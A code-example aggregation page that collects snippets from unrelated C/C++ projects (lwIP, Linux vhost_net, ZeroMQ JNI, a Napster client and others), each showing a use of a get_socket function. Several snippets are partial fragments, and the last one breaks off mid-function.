Beispiel #1
0
int main (int argc, char *argv[])
{
    int sd, ci, n, backlog = MAX_BACKLOG, timeout = -1, nfds, nconsp1;
    short port = PORTNUM;
    struct pollfd *pfd, *pfd0;

    if (argc > 1)
        ncons = atoi (argv[1]);
    nconsp1 = ncons + 1;

    cd = malloc ((nconsp1 + 8) * sizeof (int));
    isopen = malloc ((nconsp1 + 8) * sizeof (int));
    ufds = malloc ((nconsp1 + 8) * sizeof (struct pollfd));
    memset (ufds, 0, (nconsp1 + 8) * sizeof (struct pollfd));

    /* increase maximum number of file descriptors, must be root! */

    /* a few extra, for 0, 1, 2 etc. */
    check_and_set_max_fd (nconsp1 + 8);

    gethostname (hostname, 128);

    /* open an internet tcp stream socket */
    /* socket, setsockopt for reuse, bind, listen; */
    sd = get_socket (port, backlog);

    /* for the listening socket */

    pfd0 = &ufds[0];
    pfd0->fd = sd;
    pfd0->events = POLLIN;

    isopen[0] = 0;

    for (ci = 1; ci < nconsp1 + 8; ci++) {
        pfd = &ufds[ci];
        pfd->fd = -1;
        pfd->events = 0;
        isopen[ci] = 0;
    }

    for (;;) {

        /* wait for something to happen on one of the descriptors */

        nfds = 1 + nopen;
        if (sd > fdmax)
            fdmax = sd;         /* to begin with */

        /*        n = poll (ufds, nconsp1, timeout);  */
        n = poll (&ufds[0], fdmax + 1, timeout);

        if (n < 0)
            DEATH ("poll");

        /* if you do a time out you have to deal with n = 0 */

        /* accept new connection only if less than the maximum is there */

        if ((pfd0->revents && POLLIN) && (nopen < ncons)) {
            isopen[0] = 1;

            /*  find the first open one */

            ci = accept_one (sd, isopen, cd, ncons);
            isopen[ci] = 1;
            pfd = &ufds[ci];
            pfd->fd = cd[ci];
            pfd->events = POLLIN;
            nopen++;
            if (cd[ci] > fdmax)
                fdmax = cd[ci];
            printf
            ("connection accepted (cd[%2d] = %2d), nopen = %2d\n",
             ci, cd[ci], nopen);

        }
        /* service existing connections */

        for (ci = 1; ci < nconsp1; ci++) {
            pfd = &ufds[ci];
            if (isopen[ci] && (pfd->revents && POLLIN)) {
                if (handle_client (cd[ci]))
                    terminate_client (ci);
            }
            fflush (stdout);
        }
    }
    close (sd);
    free (cd);
    free (isopen);
    exit (EXIT_SUCCESS);
}
Beispiel #2
0
				const int remote_handle = SDLNet_Read32(&buf);
				set_remote_handle(*i,remote_handle);

				continue;
			}

			waiting_sockets.erase(i++);
			SDLNet_TCP_DelSocket(socket_set,sock);
			network_worker_pool::receive_data(sock);
		} else {
			++i;
		}
	}


	TCPsocket sock = connection_num == 0 ? 0 : get_socket(connection_num);
	TCPsocket s = sock;
	bandwidth_in_ptr temp;
	if (!bandwidth_in)
	{
		bandwidth_in = &temp;
	}
	try {
		sock = network_worker_pool::get_received_data(sock,cfg, *bandwidth_in);
	} catch(const config::error& e) {
		TCPsocket const * err_sock = boost::get_error_info<tcpsocket_info>(e);
		if(err_sock == NULL)
			throw;
		connection err_connection = 0;
		for(connection_map::const_iterator i = connections.begin(); i != connections.end(); ++i) {
			if(i->second.sock == *err_sock) {
Beispiel #3
0
static long vhost_net_set_backend(struct vhost_net *n, unsigned index, int fd)
{
	struct socket *sock, *oldsock;
	struct vhost_virtqueue *vq;
	struct vhost_ubuf_ref *ubufs, *oldubufs = NULL;
	int r;

	mutex_lock(&n->dev.mutex);
	r = vhost_dev_check_owner(&n->dev);
	if (r)
		goto err;

	if (index >= VHOST_NET_VQ_MAX) {
		r = -ENOBUFS;
		goto err;
	}
	vq = n->vqs + index;
	mutex_lock(&vq->mutex);

	/* Verify that ring has been setup correctly. */
	if (!vhost_vq_access_ok(vq)) {
		r = -EFAULT;
		goto err_vq;
	}
	sock = get_socket(fd);
	if (IS_ERR(sock)) {
		r = PTR_ERR(sock);
		goto err_vq;
	}

	/* start polling new socket */
	oldsock = rcu_dereference_protected(vq->private_data,
					    lockdep_is_held(&vq->mutex));
	if (sock != oldsock) {
		ubufs = vhost_ubuf_alloc(vq, sock && vhost_sock_zcopy(sock));
		if (IS_ERR(ubufs)) {
			r = PTR_ERR(ubufs);
			goto err_ubufs;
		}
		oldubufs = vq->ubufs;
		vq->ubufs = ubufs;
		vhost_net_disable_vq(n, vq);
		rcu_assign_pointer(vq->private_data, sock);
		vhost_net_enable_vq(n, vq);

		r = vhost_init_used(vq);
		if (r)
			goto err_vq;
	}

	mutex_unlock(&vq->mutex);

	if (oldubufs) {
		vhost_ubuf_put_and_wait(oldubufs);
		mutex_lock(&vq->mutex);
		vhost_zerocopy_signal_used(vq);
		mutex_unlock(&vq->mutex);
	}

	if (oldsock) {
		vhost_net_flush_vq(n, index);
		fput(oldsock->file);
	}

	mutex_unlock(&n->dev.mutex);
	return 0;

err_ubufs:
	fput(sock->file);
err_vq:
	mutex_unlock(&vq->mutex);
err:
	mutex_unlock(&n->dev.mutex);
	return r;
}
Beispiel #4
0
static long vhost_net_set_backend(struct vhost_net *n, unsigned index, int fd)
{
	struct socket *sock, *oldsock;
	struct vhost_virtqueue *vq;
	struct vhost_net_virtqueue *nvq;
	struct vhost_net_ubuf_ref *ubufs, *oldubufs = NULL;
	int r;

	mutex_lock(&n->dev.mutex);
	r = vhost_dev_check_owner(&n->dev);
	if (r)
		goto err;

	if (index >= VHOST_NET_VQ_MAX) {
		r = -ENOBUFS;
		goto err;
	}
	vq = &n->vqs[index].vq;
	nvq = &n->vqs[index];
	mutex_lock(&vq->mutex);

	/* Verify that ring has been setup correctly. */
	if (!vhost_vq_access_ok(vq)) {
		r = -EFAULT;
		goto err_vq;
	}
	sock = get_socket(fd);
	if (IS_ERR(sock)) {
		r = PTR_ERR(sock);
		goto err_vq;
	}

	/* start polling new socket */
	oldsock = vq->private_data;
	if (sock != oldsock) {
		ubufs = vhost_net_ubuf_alloc(vq,
					     sock && vhost_sock_zcopy(sock));
		if (IS_ERR(ubufs)) {
			r = PTR_ERR(ubufs);
			goto err_ubufs;
		}

		vhost_net_disable_vq(n, vq);
		vq->private_data = sock;
		r = vhost_init_used(vq);
		if (r)
			goto err_used;
		r = vhost_net_enable_vq(n, vq);
		if (r)
			goto err_used;

		oldubufs = nvq->ubufs;
		nvq->ubufs = ubufs;

		n->tx_packets = 0;
		n->tx_zcopy_err = 0;
		n->tx_flush = false;
	}

	mutex_unlock(&vq->mutex);

	if (oldubufs) {
		vhost_net_ubuf_put_wait_and_free(oldubufs);
		mutex_lock(&vq->mutex);
		vhost_zerocopy_signal_used(n, vq);
		mutex_unlock(&vq->mutex);
	}

	if (oldsock) {
		vhost_net_flush_vq(n, index);
		sockfd_put(oldsock);
	}

	mutex_unlock(&n->dev.mutex);
	return 0;

err_used:
	vq->private_data = oldsock;
	vhost_net_enable_vq(n, vq);
	if (ubufs)
		vhost_net_ubuf_put_wait_and_free(ubufs);
err_ubufs:
	sockfd_put(sock);
err_vq:
	mutex_unlock(&vq->mutex);
err:
	mutex_unlock(&n->dev.mutex);
	return r;
}
Beispiel #5
0
void napfile_read(int snum)
{
GetFile *gf;
int rc;
SocketList *s;
	s = get_socket(snum);
	if (!(gf = (GetFile *)get_socketinfo(snum)))
	{
		unsigned char buff[2*BIG_BUFFER_SIZE+1];
		unsigned char fbuff[2*BIG_BUFFER_SIZE+1];
		char *nick, *filename, *args;
		
		alarm(10);
		if ((rc = read(snum, buff, 2 * BIG_BUFFER_SIZE)) < 0)
		{
			alarm(0);
			nap_finished_file(snum, PREMATURE_FINISH);
			return;
		}
		alarm(0);
		buff[rc] = 0;
		args = &buff[0];
		if (!*args || !strcmp(buff, "FILE NOT FOUND") || 
			!strcmp(buff, "INVALID REQUEST") || 
			!strcmp(buff, "FILE NOT REQUESTED"))
		{
			say("Error in napfile_read(%d/%s) %s", snum, (rc == 0) ? strerror(errno) : "", *args ? args : "unknown read");
			nap_finished_file(snum, PREMATURE_FINISH);
			return;
		}

		nick = next_arg(args, &args);
		if ((filename = new_next_arg(args, &args)) && *filename)
		{
			strcpy(fbuff, filename);
			convertnap_unix(fbuff);
		}
		if (!nick || !filename || !*filename || !args || !*args
			|| !(gf = find_in_getfile(0, nick, NULL, fbuff, 0, NAP_UPLOAD))
			|| (gf->write == -1))
		{
			memset(buff, 0, 80);
			if (!gf)
				sprintf(buff, "INVALID REQUEST");

			else
			{
				sprintf(buff, "FILE NOT FOUND");
				break_from_list((List **)&transfer_struct, (List *)gf);
				gf->socket = snum;
				if (gf->write == -1)
				{
					send_ncommand(CMDS_REMOVEFILE, "%s", fbuff);
					say("Unable to open [%s]", fbuff);
				}
				else
				{
					close(gf->write);
					gf->write = -1;
				}
			}
			write(snum, buff, strlen(buff));
			nap_finished_file(snum, PREMATURE_FINISH);
			return;
		}
		gf->resume = my_atol(next_arg(args, &args));
		if (gf->resume >= gf->filesize)
		{
			break_from_list((List **)&transfer_struct, (List *)gf);
			close(gf->write);
			gf->write = -1;
			nap_finished_file(snum, PREMATURE_FINISH);
			return;
		}
		if (gf->socket != -1)
		{
			put_it("ERROR gf->socket != -1 %d %s %s", snum, nick, filename);
			break_from_list((List **)&transfer_struct, (List *)gf);
			close(gf->write);
			gf->write = -1;
			nap_finished_file(snum, PREMATURE_FINISH);
			return;
		}
		gf->socket = snum;
		lseek(gf->write, SEEK_SET, gf->resume);
		set_socketinfo(snum, gf);
		memset(buff, 0, 80);
		sprintf(buff, "%lu", gf->filesize);
		write(snum, buff, strlen(buff));
		s->func_write = s->func_read;
		s->is_write = s->is_read;
		if (do_hook(NAPSEND_LIST, "%s %s %lu \"%s\"", gf->resume ? "RESUME":"SEND", gf->nick, gf->filesize, gf->filename) && !get_int_var(QUIET_SENDS_VAR))
			put_it("* %sing file to %s [%s] (%s)", gf->resume ? "Resum" : "Send", gf->nick, base_name(gf->filename), longcomma(gf->filesize));
		set_non_blocking(snum);
		build_status(current_window, NULL, 0);
		send_ncommand(CMDS_UPDATE_SEND1, NULL);
		return;
	} else if (!gf->starttime)
		gf->starttime = now;
	s->func_write = s->func_read = napfile_sendfile;
	napfile_sendfile(snum);
}
Beispiel #6
0
/**
 * Called by Java's Socket::setLongSockopt(int option, long value).
 */
JNIEXPORT void JNICALL Java_org_zeromq_ZMQ_00024Socket_setLongSockopt (JNIEnv *env,
                                                                       jobject obj,
                                                                       jint option,
                                                                       jlong value)
{
    switch (option) {
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,0,0)
    case ZMQ_BACKLOG:
    case ZMQ_MAXMSGSIZE:
    case ZMQ_SNDHWM:
    case ZMQ_RCVHWM:
    case ZMQ_MULTICAST_HOPS:
#else
    case ZMQ_HWM:
    case ZMQ_SWAP:
    case ZMQ_MCAST_LOOP:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,2,0)
    case ZMQ_RCVTIMEO:
    case ZMQ_SNDTIMEO:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,10)
    case ZMQ_RECONNECT_IVL:
    case ZMQ_RECONNECT_IVL_MAX:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)
    case ZMQ_LINGER:
#endif
    case ZMQ_AFFINITY:
    case ZMQ_RATE:
    case ZMQ_RECOVERY_IVL:
    case ZMQ_SNDBUF:
    case ZMQ_RCVBUF:
        {
            void *s = get_socket (env, obj, 1);
            int rc = 0;
            int err = 0;
            uint64_t optval = (uint64_t) value;

#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)
            if(
                (option == ZMQ_LINGER)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,10)
                || (option == ZMQ_RECONNECT_IVL)
                || (option == ZMQ_RECONNECT_IVL_MAX)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,2,0)
                || (option == ZMQ_SNDTIMEO)
                || (option == ZMQ_RCVTIMEO)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)    
            ) {
                int ival = (int) optval;
                size_t optvallen = sizeof(ival);
                rc = zmq_setsockopt (s, option, &ival, optvallen);
            } else
#endif
            {
                size_t optvallen = sizeof(optval);
                rc = zmq_setsockopt (s, option, &optval, optvallen);
            }
            err = zmq_errno();

            if (rc != 0) {
                raise_exception (env, err);
            }
            return;
        }
    default:
        raise_exception (env, EINVAL);
        return;
    }
}
Beispiel #7
0
 void set_no_delay( bool value )
 {
     get_socket( ).set_option( bip::tcp::no_delay( value ) );
 }
Beispiel #8
0
int
lwip_recvfrom(int s, void *mem, int len, unsigned int flags,
        struct sockaddr *from, socklen_t *fromlen)
{
  struct lwip_socket *sock;
  struct netbuf *buf;
  u16_t buflen, copylen;
  struct ip_addr *addr;
  u16_t port;


  LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_recvfrom(%d, %p, %d, 0x%x, ..)\n", s, mem, len, flags));
  sock = get_socket(s);
  if (!sock) {
    set_errno(EBADF);
    return -1;
  }

  /* Check if there is data left from the last recv operation. */
  if (sock->lastdata) {
    buf = sock->lastdata;
  } else {
    /* If this is non-blocking call, then check first */
    if (((flags & MSG_DONTWAIT) || (sock->flags & O_NONBLOCK))
  && !sock->rcvevent)
    {
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_recvfrom(%d): returning EWOULDBLOCK\n", s));
      sock_set_errno(sock, EWOULDBLOCK);
      return -1;
    }

    /* No data was left from the previous operation, so we try to get
       some from the network. */
    buf = netconn_recv(sock->conn);

    if (!buf) {
      /* We should really do some error checking here. */
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_recvfrom(%d): buf == NULL!\n", s));
      sock_set_errno(sock, 0);
      return 0;
    }
  }

  buflen = netbuf_len(buf);

  buflen -= sock->lastoffset;

  if (len > buflen) {
    copylen = buflen;
  } else {
    copylen = len;
  }

  /* copy the contents of the received buffer into
     the supplied memory pointer mem */
  netbuf_copy_partial(buf, mem, copylen, sock->lastoffset);

  /* Check to see from where the data was. */
  if (from && fromlen) {
    struct sockaddr_in sin;

    addr = netbuf_fromaddr(buf);
    port = netbuf_fromport(buf);

    memset(&sin, 0, sizeof(sin));
    sin.sin_len = sizeof(sin);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = addr->addr;

    if (*fromlen > sizeof(sin))
      *fromlen = sizeof(sin);

    memcpy(from, &sin, *fromlen);

    LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_recvfrom(%d): addr=", s));
    ip_addr_debug_print(SOCKETS_DEBUG, addr);
    LWIP_DEBUGF(SOCKETS_DEBUG, (" port=%u len=%u\n", port, copylen));
  } else {
#if SOCKETS_DEBUG
    addr = netbuf_fromaddr(buf);
    port = netbuf_fromport(buf);

    LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_recvfrom(%d): addr=", s));
    ip_addr_debug_print(SOCKETS_DEBUG, addr);
    LWIP_DEBUGF(SOCKETS_DEBUG, (" port=%u len=%u\n", port, copylen));
#endif

  }

  /* If this is a TCP socket, check if there is data left in the
     buffer. If so, it should be saved in the sock structure for next
     time around. */
  if (netconn_type(sock->conn) == NETCONN_TCP && buflen - copylen > 0) {
    sock->lastdata = buf;
    sock->lastoffset += copylen;
  } else {
    sock->lastdata = NULL;
    sock->lastoffset = 0;
    netbuf_delete(buf);
  }


  sock_set_errno(sock, 0);
  return copylen;
}
Beispiel #9
0
static void
event_callback(struct netconn *conn, enum netconn_evt evt, u16_t len)
{
    int s;
    struct lwip_socket *sock;
    struct lwip_select_cb *scb;

    /* Get socket */
    if (conn)
    {
        s = conn->socket;
        if (s < 0)
        {
            /* Data comes in right away after an accept, even though
             * the server task might not have created a new socket yet.
             * Just count down (or up) if that's the case and we
             * will use the data later. Note that only receive events
             * can happen before the new socket is set up. */
            if (evt == NETCONN_EVT_RCVPLUS)
                conn->socket--;
            return;
        }

        sock = get_socket(s);
        if (!sock)
            return;
    }
    else
        return;

    if (!selectsem)
        selectsem = sys_sem_new(1);

    sys_sem_wait(selectsem);
    /* Set event as required */
    switch (evt)
    {
      case NETCONN_EVT_RCVPLUS:
        sock->rcvevent++;
        break;
      case NETCONN_EVT_RCVMINUS:
        sock->rcvevent--;
        break;
      case NETCONN_EVT_SENDPLUS:
        sock->sendevent = 1;
        break;
      case NETCONN_EVT_SENDMINUS:
        sock->sendevent = 0;
        break;
    }
    sys_sem_signal(selectsem);

    /* Now decide if anyone is waiting for this socket */
    /* NOTE: This code is written this way to protect the select link list
       but to avoid a deadlock situation by releasing socksem before
       signalling for the select. This means we need to go through the list
       multiple times ONLY IF a select was actually waiting. We go through
       the list the number of waiting select calls + 1. This list is
       expected to be small. */
    while (1)
    {
        sys_sem_wait(selectsem);
        for (scb = select_cb_list; scb; scb = scb->next)
        {
            if (scb->sem_signalled == 0)
            {
                /* Test this select call for our socket */
                if (scb->readset && FD_ISSET(s, scb->readset))
                    if (sock->rcvevent)
                        break;
                if (scb->writeset && FD_ISSET(s, scb->writeset))
                    if (sock->sendevent)
                        break;
            }
        }
        if (scb)
        {
            scb->sem_signalled = 1;
            sys_sem_signal(selectsem);
#if RD235LIB
						write(scb->pipe[1]," ",1);
#else
						sys_sem_signal(scb->sem);
#endif

        } else {
            sys_sem_signal(selectsem);
            break;
        }
    }

}
/**
   * Sends an query message to the object identified by the objectkey,
   * sending it to any master/slave object.
   * This function takes over the msg pointer and will free it when done.
   */
  inline query_result query_any(const std::string& objectkey,
                                char* msg, size_t msglen, bool noreply = false) {
    socket_data* sock = get_socket(objectkey);
    return query_any(sock, msg, msglen, noreply);
  }
Beispiel #11
0
int lwip_setsockopt (int s, int level, int optname, const void *optval, socklen_t optlen)
{
  struct lwip_socket *sock = get_socket(s);
  int err = 0;

  if(!sock) {
   	set_errno(EBADF);
    return -1;
  }

  if( NULL == optval ) {
    sock_set_errno( sock, EFAULT );
    return -1;
  }


  /* Do length and type checks for the various options first, to keep it readable. */
  switch( level ) {

/* Level: SOL_SOCKET */
  case SOL_SOCKET:
    switch(optname) {

    case SO_BROADCAST:
    /* UNIMPL case SO_DEBUG: */
    /* UNIMPL case SO_DONTROUTE: */
    case SO_KEEPALIVE:
    /* UNIMPL case SO_OOBINLINE: */
    /* UNIMPL case SO_RCVBUF: */
    /* UNIMPL case SO_SNDBUF: */
    /* UNIMPL case SO_RCVLOWAT: */
    /* UNIMPL case SO_SNDLOWAT: */
#if SO_REUSE
    case SO_REUSEADDR:
    case SO_REUSEPORT:
#endif /* SO_REUSE */
    /* UNIMPL case SO_USELOOPBACK: */
      if( optlen < sizeof(int) ) {
        err = EINVAL;
      }
      break;
    default:
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, SOL_SOCKET, UNIMPL: optname=0x%x, ..)\n", s, optname));
      err = ENOPROTOOPT;
    }  /* switch */
    break;

/* Level: IPPROTO_IP */
  case IPPROTO_IP:
    switch(optname) {
    /* UNIMPL case IP_HDRINCL: */
    /* UNIMPL case IP_RCVDSTADDR: */
    /* UNIMPL case IP_RCVIF: */
    case IP_TTL:
    case IP_TOS:
      if( optlen < sizeof(int) ) {
        err = EINVAL;
      }
        break;
      default:
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, IPPROTO_IP, UNIMPL: optname=0x%x, ..)\n", s, optname));
      err = ENOPROTOOPT;
    }  /* switch */
    break;

/* Level: IPPROTO_TCP */
  case IPPROTO_TCP:
    if( optlen < sizeof(int) ) {
      err = EINVAL;
        break;
    }

    /* If this is no TCP socket, ignore any options. */
    if ( sock->conn->type != NETCONN_TCP ) return 0;

    switch( optname ) {
    case TCP_NODELAY:
    case TCP_KEEPALIVE:
      break;

    default:
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, IPPROTO_TCP, UNIMPL: optname=0x%x, ..)\n", s, optname));
      err = ENOPROTOOPT;
    }  /* switch */
    break;

/* UNDEFINED LEVEL */      
  default:
    LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, level=0x%x, UNIMPL: optname=0x%x, ..)\n", s, level, optname));
    err = ENOPROTOOPT;
  }  /* switch */


  if( 0 != err ) {
    sock_set_errno(sock, err);
    return -1;
  }



  /* Now do the actual option processing */

  switch(level) {

/* Level: SOL_SOCKET */
  case SOL_SOCKET:
    switch(optname) {

    /* The option flags */
    case SO_BROADCAST:
    /* UNIMPL case SO_DEBUG: */
    /* UNIMPL case SO_DONTROUTE: */
    case SO_KEEPALIVE:
    /* UNIMPL case SO_OOBINCLUDE: */
#if SO_REUSE
    case SO_REUSEADDR:
    case SO_REUSEPORT:
#endif /* SO_REUSE */
    /* UNIMPL case SO_USELOOPBACK: */
      if ( *(int*)optval ) {
        sock->conn->pcb.tcp->so_options |= optname;
      } else {
        sock->conn->pcb.tcp->so_options &= ~optname;
      }
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, SOL_SOCKET, optname=0x%x, ..) -> %s\n", s, optname, (*(int*)optval?"on":"off")));
      break;
    }  /* switch */
    break;

/* Level: IPPROTO_IP */
  case IPPROTO_IP:
    switch( optname ) {
    case IP_TTL:
      sock->conn->pcb.tcp->ttl = (u8_t)(*(int*)optval);
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, IPPROTO_IP, IP_TTL, ..) -> %u\n", s, sock->conn->pcb.tcp->ttl));
      break;
    case IP_TOS:
      sock->conn->pcb.tcp->tos = (u8_t)(*(int*)optval);
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, IPPROTO_IP, IP_TOS, ..)-> %u\n", s, sock->conn->pcb.tcp->tos));
      break;
    }  /* switch */
    break;

/* Level: IPPROTO_TCP */
  case IPPROTO_TCP:
    switch( optname ) {
    case TCP_NODELAY:
      if ( *(int*)optval ) {
        sock->conn->pcb.tcp->flags |= TF_NODELAY;
      } else {
        sock->conn->pcb.tcp->flags &= ~TF_NODELAY;
      }
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, IPPROTO_TCP, TCP_NODELAY) -> %s\n", s, (*(int *)optval)?"on":"off") );
      break;
    case TCP_KEEPALIVE:
      sock->conn->pcb.tcp->keepalive = (u32_t)(*(int*)optval);
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_setsockopt(%d, IPPROTO_TCP, TCP_KEEPALIVE) -> %lu\n", s, sock->conn->pcb.tcp->keepalive));
      break;
    }  /* switch */
    break;
  }  /* switch */

  sock_set_errno(sock, err);
  return err ? -1 : 0;
}
Beispiel #12
0
int recvfrom(int s, void *mem, int len, unsigned int flags,
        struct sockaddr *from, socklen_t *fromlen)
{
	struct lwip_socket *sock;
	struct skbuff      *buf;
	u16_t               buflen, copylen, off = 0;
	struct ip_addr     *addr;
	u16_t               port;
	u8_t                done = 0;

	sock = get_socket(s);
	if (!sock)
		return -1;

	do {
		/* Check if there is data left from the last recv operation. */
		if (sock->lastdata) 
		{
			buf = sock->lastdata;
		} 
		else 
		{
			/* If this is non-blocking call, then check first */
			if (((flags & MSG_DONTWAIT) || (sock->flags & O_NONBLOCK)) && !sock->rcvevent) 
			{
				return -1;
			}

			/* No data was left from the previous operation, so we try to get
			some from the network. */
			sock->lastdata = buf = netconn_recv(sock->conn);

			if (!buf) 
			{
				/* We should really do some error checking here. */
				return 0;
			}
		}

		buflen = netbuf_len(buf);

		buflen -= sock->lastoffset;
		if (len > buflen) 
		{
			copylen = buflen;
		} 
		else 
		{
			copylen = len;
		}

		/* copy the contents of the received buffer into
		the supplied memory pointer mem */
		netbuf_copy_partial(buf, (u8_t*)mem + off, copylen, sock->lastoffset);
		off += copylen;

		if (netconn_type(sock->conn) == NETCONN_TCP) 
		{
			len -= copylen;
			if ( (len <= 0) || (buf->p->flags & PBUF_FLAG_PUSH) || !sock->rcvevent) 
			{
				done = 1;
			}
		} 
		else 
		{
			done = 1;
		}

		/* If we don't peek the incoming message... */
		if ((flags & MSG_PEEK)==0) 
		{
			/* If this is a TCP socket, check if there is data left in the
			buffer. If so, it should be saved in the sock structure for next
			time around. */
			if ((sock->conn->type == NETCONN_TCP) && (buflen - copylen > 0)) 
			{
				sock->lastdata = buf;
				sock->lastoffset += copylen;
			} 
			else 
			{
				sock->lastdata = NULL;
				sock->lastoffset = 0;
				netbuf_delete(buf);
			}
		} 
		else 
		{
			done = 1;
		}
	} while (!done);

	/* Check to see from where the data was.*/
	if (from && fromlen) 
	{
		struct sockaddr_in sin;

		if (netconn_type(sock->conn) == NETCONN_TCP) 
		{
			addr = (struct ip_addr*)&(sin.sin_addr.s_addr);
			netconn_getaddr(sock->conn, addr, &port, 0);
		} 
		else 
		{
			addr = netbuf_fromaddr(buf);
			port = netbuf_fromport(buf);
		}

		memset(&sin, 0, sizeof(sin));
		sin.sin_len = sizeof(sin);
		sin.sin_family = AF_INET;
		sin.sin_port = htons(port);
		sin.sin_addr.s_addr = addr->addr;

		if (*fromlen > sizeof(sin))
			*fromlen = sizeof(sin);

		SMEMCPY(from, &sin, *fromlen);
	} 

	return off;
}
Beispiel #13
0
static int get_output_socket(const char *hostname, const char *service, int socktype, struct sockaddr_storage *addr, int *addrlen, int *sock) {
	return get_socket(hostname, service, socktype, addr, addrlen, sock, true);
}
Beispiel #14
0
int cnf_init()
{
    FILE *fp;			    /* file pointer of init file */
    char buf[PATH_LEN];		    /* line buffer for input from init file */
    char *bufp;			    /* current index into buf */
    char *bp;			    /* temporary buffer pointer */
    char infile[PATH_LEN];	    /* name of init file */
    sng_map *link_pt; 
    int  idx,i, plist_cnt;
    dac_data_ot header;
    dac_link_ot links;
    dac_data_it stat;
    struct in_addr in;
    host_t *p_q;
    char mapid[TUPLENAME_LEN];

    if (gethostname(local_node, sizeof(local_node)) < 0)
    {
	perror("cnf_int: can't get local hostname"); 
	return(INIT_ER);
    }
// printf("starting app at (%s)\n",local_node);
    namtoad( local_node, local_addr );
    
    /* create the name of the init file from the module name (which
    comes from the CNF_MODULE logical name in the environment, suffixed
    with the value INIT_SUFFIX */

    tid_header = NULL;
    bp = getlognam("CNF_MODULE");
    if ( bp != NULL) { 
    	strcpy(infile, bp); 
    	strcat(infile, ".ini"); 
    	fp = fopen(infile, "r"); 
    }
    if  (( bp == NULL ) || (fp == NULL)) {
	if (!readn(0,(char *)&header, sizeof(dac_data_ot)))
	{
		printf("cnf_init: read from DAC header error.\n");
		close(0);
		return(INIT_ER);
	}
	sng_map_hd.f = ntohs(header.f);
	sng_map_hd.p = ntohs(header.p);
	sng_map_hd.t = ntohs(header.t);
	sng_map_hd.d = ntohs(header.d);
	sng_map_hd.link_cnt = ntohs(header.link_cnt) + 1; /* for dts ys96 */

	if (ntohs(header.protocol) == DAC_PROT_TCP)
	sprintf(sng_map_hd.protocol,"tcp");
	else sng_map_hd.protocol[0] = 0;
	strcpy(sng_map_hd.appid,header.appid);
	strcpy(sng_map_hd.name, header.name);
/*
printf("CNF_INIT: appid(%s) headerName(%s)\n",header.appid, header.name);
*/
	strcpy(sng_map_hd.csl_name,"");	
	idx = ntohs(header.link_cnt);
	sng_map_hd.link_hd = NULL;
	for (i=0; i<idx; i++)
	{
		if (!readn(0,(char *)&links, sizeof(dac_link_ot)))
		{
			printf("conf_init: read link from DAC error\n");
			close(0);
			return(INIT_ER);
		}
		link_pt = (sng_map *)malloc(sizeof(sng_map));
		link_pt->next = sng_map_hd.link_hd;
		sng_map_hd.link_hd = link_pt;
		link_pt->type = links.type;
		link_pt->dirn = links.dirn;
		strcpy(link_pt->ref_name,links.ref_name);
		strcpy(link_pt->obj_name,links.obj_name);
		strcpy(link_pt->phys_name,links.path);
		strcpy(link_pt->login, links.login);
		in.s_addr = links.host;
		strcpy(link_pt->cpu,inet_ntoa(in));
	}
	/* receive cpu_list here. YS f96 */
	get_cpu_list();

	/* now add the direct tuple space object */
	link_pt = (sng_map *)malloc(sizeof(sng_map));
	link_pt->next = sng_map_hd.link_hd;
	sng_map_hd.link_hd = link_pt;
	link_pt->type = 't';
	link_pt->dirn = '*';
	strcpy(link_pt->ref_name, "DynamicTS");
	strcpy(link_pt->obj_name, "DynamicTS");
	strcpy(link_pt->phys_name, "DynamicTS");
	strcpy(link_pt->login, getpwuid(getuid())->pw_name);
	link_pt->cpu[0] = 0; /* not used */
	link_pt->open = TRUE;
	link_pt->sd = get_socket();
	link_pt->ret_port = bind_socket(link_pt->sd, 0);
	link_pt->port = 0; /* To be filled by respective calls */
	/* end of direct tuple space addition */

	stat.status = htons(SUCCESS);
	stat.error = htons(DAC_ER_NOERROR);
	if (!writen(0,(char *)&stat, sizeof(dac_data_it)))
	{
		printf("cnf_init: send ACK error \n");
		close(0);
		return(INIT_ER);
	}
	close(0);
    	if (sng_map_hd.d > 1) cnf_print_map();
    	handles = (sng_map **) malloc(sizeof(sng_map *)*sng_map_hd.link_cnt);
    	for (sng_idx = 0 ; sng_idx < sng_map_hd.link_cnt ; sng_idx++) 
		handles[sng_idx] = NULL ; 
/*
	sng_map_hd.host = sng_gethostid(); 
*/
	sng_map_hd.host = header.host; 
        sprintf(buf, "sng$cid$%s", getpwuid(getuid())->pw_name);
       	if (!(sng_map_hd.cidport = pmd_getmap(buf,sng_map_hd.host,
			(u_short)PMD_PROT_TCP)))
    	{
	    printf("cnf_init_error: cidport lookup failure.\n");
	    exit(1);
    	}

	/* Reset the dts now. Ys96 */
	handles[0] = sng_map_hd.link_hd;
    	sng_idx = 1;	/* reset the open count */

//       printf("cnf_init done. host (%lu) \n",sng_map_hd.host);
        return;
    }
    else { /* Debug Mode */ 
    /* read the first line of the init file */
    if ((bufp = fgets(buf, PATH_LEN, fp)) == NULL)
    {
	printf("cnf_init: empty init file\n");
	return(INIT_ER);
    }

    /* read all the variable initialization lines */
    sscanf(bufp, "%s\n", buf);
